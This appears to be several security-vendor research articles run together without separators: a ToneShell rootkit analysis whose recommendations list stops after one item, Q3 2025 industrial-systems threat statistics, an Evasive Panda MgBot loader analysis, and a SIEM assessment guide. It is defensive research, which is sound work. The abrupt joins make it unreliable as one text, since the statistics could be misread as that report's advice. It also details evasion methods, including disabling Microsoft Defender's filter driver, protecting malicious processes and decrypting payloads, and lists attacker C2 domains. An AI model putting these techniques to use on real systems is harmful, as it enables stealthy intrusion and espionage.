In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.
Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.
The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.
Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.
Compromised digital certificate
The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.
We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.
Technical details of the malicious driver
The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.
The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.
API resolution
To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.
The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.
Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.
The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.
Protection of the driver file
The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:
FileRenameInformation
FileDispositionInformation
FileRenameInformationBypassAccessCheck
FileDispositionInformationEx
FileRenameInformationEx
FileRenameInformationExBypassAccessCheck
These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.
Protection of registry keys
The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:
ProjectConfiguration
ProjectConfiguration\Instances
ProjectConfiguration Instance
To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.
The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.
The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:
RegNtPreCreateKey
RegNtPreOpenKey
RegNtPreCreateKeyEx
RegNtPreOpenKeyEx
Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.
Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.
Protection of user-mode processes
The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.
Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.
This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.
The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.
Payload injection
The driver delivers two user-mode payloads.
The first payload spawns an svchost process and injects a small delay-inducing shellcode. The PID of this new svchost instance is written to a file for later use.
The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.
Injection workflow:
The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.
After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.
Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.
ToneShell backdoor
The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.
Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.
The samples we have analyzed contact two command-and-control servers:
avocadomechanism[.]com
potherbreference[.]com
ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.
Packet layout:
Header (3 bytes): Fake TLS marker
Size (2 bytes): Payload length
Payload: Encrypted with a rolling XOR key
The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:
Command ID
Description
0x1
Create temporary file for incoming data
0x2 / 0x3
Download file
0x4
Cancel download
0x7
Establish remote shell via pipe
0x8
Receive operator command
0x9
Terminate shell
0xA / 0xB
Upload file
0xC
Cancel upload
0xD
Close connection
Conclusion
We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.
HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.
Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.
Recommendations
To protect themselves against this threat, organizations should:
Implement robust network security measures, such as firewalls and intrusion detection systems.
In Q3 2025, the percentage of ICS computers on which malicious objects were blocked decreased from the previous quarter by 0.4 pp to 20.1%. This is the lowest level for the observed period.
Percentage of ICS computers on which malicious objects were blocked, Q3 2022–Q3 2025
Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 9.2% in Northern Europe to 27.4% in Africa.
Regions ranked by percentage of ICS computers on which malicious objects were blocked
In Q3 2025, the percentage increased in five regions. The most notable increase occurred in East Asia, triggered by the local spread of malicious scripts in the OT infrastructure of engineering organizations and ICS integrators.
Changes in the percentage of ICS computers on which malicious objects were blocked, Q3 2025
Selected industries
The biometrics sector traditionally led the rankings of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.
Rankings of industries and OT infrastructures by percentage of ICS computers on which malicious objects were blocked
In Q3 2025, the percentage of ICS computers on which malicious objects were blocked increased in four of the seven surveyed industries. The most notable increases were in engineering and ICS integrators, and manufacturing.
Percentage of ICS computers on which malicious objects were blocked in selected industries
Diversity of detected malicious objects
In Q3 2025, Kaspersky protection solutions blocked malware from 11,356 different malware families of various categories on industrial automation systems.
Percentage of ICS computers on which the activity of malicious objects of various categories was blocked
In Q3 2025, there was a decrease in the percentage of ICS computers on which denylisted internet resources and miners of both categories were blocked. These were the only categories that exhibited a decrease.
Main threat sources
Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).
The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.
In Q3 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased.
Percentage of ICS computers on which malicious objects from various sources were blocked
The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from the source itself.
The main categories of threats from the internet blocked on ICS computers in Q3 2025 were malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 4.57% in Northern Europe to 10.31% in Africa.
The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in an office document. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.78% in Russia to 6.85% in Southern Europe.
The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from this source were blocked ranged from 0.05% in Australia and New Zealand to 1.43% in Africa.
The main categories of threats that spread through network folders were viruses, AutoCAD malware, worms, and spyware. The percentages of ICS computers where threats from this source were blocked ranged from 0.006% in Northern Europe to 0.20% in East Asia.
Threat categories
Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including technological infrastructures.
Malicious objects used for initial infection
In Q3 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 4.01%. This is the lowest quarterly figure since the beginning of 2022.
Percentage of ICS computers on which denylisted internet resources were blocked, Q3 2022–Q3 2025
Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 2.35% in Australia and New Zealand to 4.96% in Africa. Southeast Asia and South Asia were also among the top three regions for this indicator.
The percentage of ICS computers on which malicious documents were blocked has grown for three consecutive quarters, following a decline at the end of 2024. In Q3 2025, it reached 1,98%.
Percentage of ICS computers on which malicious documents were blocked, Q3 2022–Q3 2025
The indicator increased in four regions: South America, East Asia, Southeast Asia, and Australia and New Zealand. South America saw the largest increase as a result of a large-scale phishing campaign in which attackers used new exploits for an old vulnerability (CVE-2017-11882) in Microsoft Office Equation Editor to deliver various spyware to victims’ computers. It is noteworthy that the attackers in this phishing campaign used localized Spanish-language emails disguised as business correspondence.
In Q3 2025, the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased to 6.79%. This category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.
Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q3 2022–Q3 2025
Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 2.57% in Northern Europe to 9.41% in Africa. The top three regions for this indicator were Africa, East Asia, and South America. The indicator increased the most in East Asia (by a dramatic 5.23 pp) as a result of the local spread of malicious spyware scripts loaded into the memory of popular torrent clients including MediaGet.
Next-stage malware
Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q3 2025, the percentage of ICS computers on which spyware and ransomware were blocked increased. The rates were:
spyware: 4.04% (up 0.20 pp);
ransomware: 0.17% (up 0.03 pp).
The percentage of ICS computers on which miners of both categories were blocked decreased. The rates were:
miners in the form of executable files for Windows: 0.57% (down 0.06 pp), it’s the lowest level since Q3 2022;
web miners: 0.25% (down 0.05 pp). This is the lowest level since Q3 2022.
Self-propagating malware
Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.
To spread across ICS networks, viruses and worms rely on removable media and network folders in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.
In Q3 2025, the percentage of ICS computers on which worms and viruses were blocked increased to 1.26% (by 0.04 pp) and 1.40% (by 0.11 pp), respectively.
AutoCAD malware
This category of malware can spread in a variety of ways, so it does not belong to a specific group.
In Q3 2025, the percentage of ICS computers on which AutoCAD malware was blocked slightly increased to 0.30% (by 0.01 pp).
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}
After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
Multi-stage shellcode execution
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}
The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
Secondary loader
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Victims
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
Attribution
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
Conclusion
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
A SIEM is a complex system offering broad and flexible threat detection capabilities. Due to its complexity, its effectiveness heavily depends on how it is configured and what data sources are connected to it. A one-time SIEM setup during implementation is not enough: both the organization’s infrastructure and attackers’ techniques evolve over time. To operate effectively, the SIEM system must reflect the current state of affairs.
We provide customers with services to assess SIEM effectiveness, helping to identify issues and offering options for system optimization. In this article, we examine typical SIEM operational pitfalls and how to address them. For each case, we also include methods for independent verification.
This material is based on an assessment of Kaspersky SIEM effectiveness; therefore, all specific examples, commands, and field names are taken from that solution. However, the assessment methodology, issues we identified, and ways to enhance system effectiveness can easily be extrapolated to any other SIEM.
Methodology for assessing SIEM effectiveness
The primary audience for the effectiveness assessment report comprises the SIEM support and operation teams within an organization. The main goal is to analyze how well the usage of SIEM aligns with its objectives. Consequently, the scope of checks can vary depending on the stated goals. A standard assessment is conducted across the following areas:
Composition and scope of connected data sources
Coverage of data sources
Data flows from existing sources
Correctness of data normalization
Detection logic operability
Detection logic accuracy
Detection logic coverage
Use of contextual data
SIEM technical integration into SOC processes
SOC analysts’ handling of alerts in the SIEM
Forwarding of alerts, security event data, and incident information to other systems
Deployment architecture and documentation
At the same time, these areas are examined not only in isolation but also in terms of their potential influence on one another. Here are a couple of examples illustrating this interdependence:
Issues with detection logic due to incorrect data normalization. A correlation rule with the condition deviceCustomString1 not contains <string> triggers a large number of alerts. The detection logic itself is correct: the specific event and the specific field it targets should not generate a large volume of data matching the condition. Our review revealed the issue was in the data ingested by the SIEM, where incorrect encoding caused the string targeted by the rule to be transformed into a different one. Consequently, all events matched the condition and generated alerts.
When analyzing coverage for a specific source type, we discovered that the SIEM was only monitoring 5% of all such sources deployed in the infrastructure. However, extending that coverage would increase system load and storage requirements. Therefore, besides connecting additional sources, it would be necessary to scale resources for specific modules (storage, collectors, or the correlator).
The effectiveness assessment consists of several stages:
Collect and analyze documentation, if available. This allows assessing SIEM objectives, implementation settings (ideally, the deployment settings at the time of the assessment), associated processes, and so on.
Interview system engineers, analysts, and administrators. This allows assessing current tasks and the most pressing issues, as well as determining exactly how the SIEM is being operated. Interviews are typically broken down into two phases: an introductory interview, conducted at project start to gather general information, and a follow-up interview, conducted mid-project to discuss questions arising from the analysis of previously collected data.
Gather information within the SIEM and then analyze it. This is the most extensive part of the assessment, during which Kaspersky experts are granted read-only access to the system or a part of it to collect factual data on its configuration, detection logic, data flows, and so on.
The assessment produces a list of recommendations. Some of these can be implemented almost immediately, while others require more comprehensive changes driven by process optimization or a transition to a more structured approach to system use.
Issues arising from SIEM operations
The problems we identify during a SIEM effectiveness assessment can be divided into three groups:
Performance issues, meaning operational errors in various system components. These problems are typically resolved by technical support, but to prevent them, it is worth periodically checking system health status.
Efficiency issues – when the system functions normally but seemingly adds little value or is not used to its full potential. This is usually due to the customer using the system capabilities in a limited way, incorrectly, or not as intended by the developer.
Detection issues – when the SIEM is operational and continuously evolving according to defined processes and approaches, but alerts are mostly false positives, and the system misses incidents. For the most part, these problems are related to the approach taken in developing detection logic.
Key observations from the assessment
Event source inventory
When building the inventory of event sources for a SIEM, we follow the principle of layered monitoring: the system should have information about all detectable stages of an attack. This principle enables the detection of attacks even if individual malicious actions have gone unnoticed, and allows for retrospective reconstruction of the full attack chain, starting from the attackers’ point of entry.
Problem: During effectiveness assessments, we frequently find that the inventory of connected source types is not updated when the infrastructure changes. In some cases, it has not been updated since the initial SIEM deployment, which limits incident detection capabilities. Consequently, certain types of sources remain completely invisible to the system.
We have also encountered non-standard cases of incomplete source inventory. For example, an infrastructure contains hosts running both Windows and Linux, but monitoring is configured for only one family of operating systems.
How to detect: To identify the problems described above, determine the list of source types connected to the SIEM and compare it against what actually exists in the infrastructure. Identifying the presence of specific systems in the infrastructure requires an audit. However, this task is one of the most critical for many areas of cybersecurity, and we recommend running it on a periodic basis.
We have compiled a reference sheet of system types commonly found in most organizations. Depending on the organization type, infrastructure, and threat model, we may rearrange priorities. However, a good starting point is as follows:
High Priority – sources associated with:
Remote access provision
External services accessible from the internet
External perimeter
Endpoint operating systems
Information security tools
Medium Priority – sources associated with:
Remote access management within the perimeter
Internal network communication
Infrastructure availability
Virtualization and cloud solutions
Low Priority – sources associated with:
Business applications
Internal IT services
Applications used by various specialized teams (HR, Development, PR, IT, and so on)
Monitoring data flow from sources
Regardless of how good the detection logic is, it cannot function without telemetry from the data sources.
Problem: The SIEM core is not receiving events from specific sources or collectors. Based on all assessments conducted, the average proportion of collectors that are configured with sources but are not transmitting events is 38%. Correlation rules may exist for these sources, but they will, of course, never trigger. It is also important to remember that a single collector can serve hundreds of sources (such as workstations), so the loss of data flow from even one collector can mean losing monitoring visibility for a significant portion of the infrastructure.
How to detect: The process of locating sources that are not transmitting data can be broken down into two components.
Checking collector health. Find the status of collectors (see the support website for the steps to do this in Kaspersky SIEM) and identify those with a status of Offline, Stopped, Disabled, and so on.
Checking the event flow. In Kaspersky SIEM, this can be done by gathering statistics using the following query (counting the number of events received from each collector over a specific time period):
SELECT count(ID), CollectorID, CollectorName FROM `events` GROUP BY CollectorID, CollectorName ORDER BY count(ID)
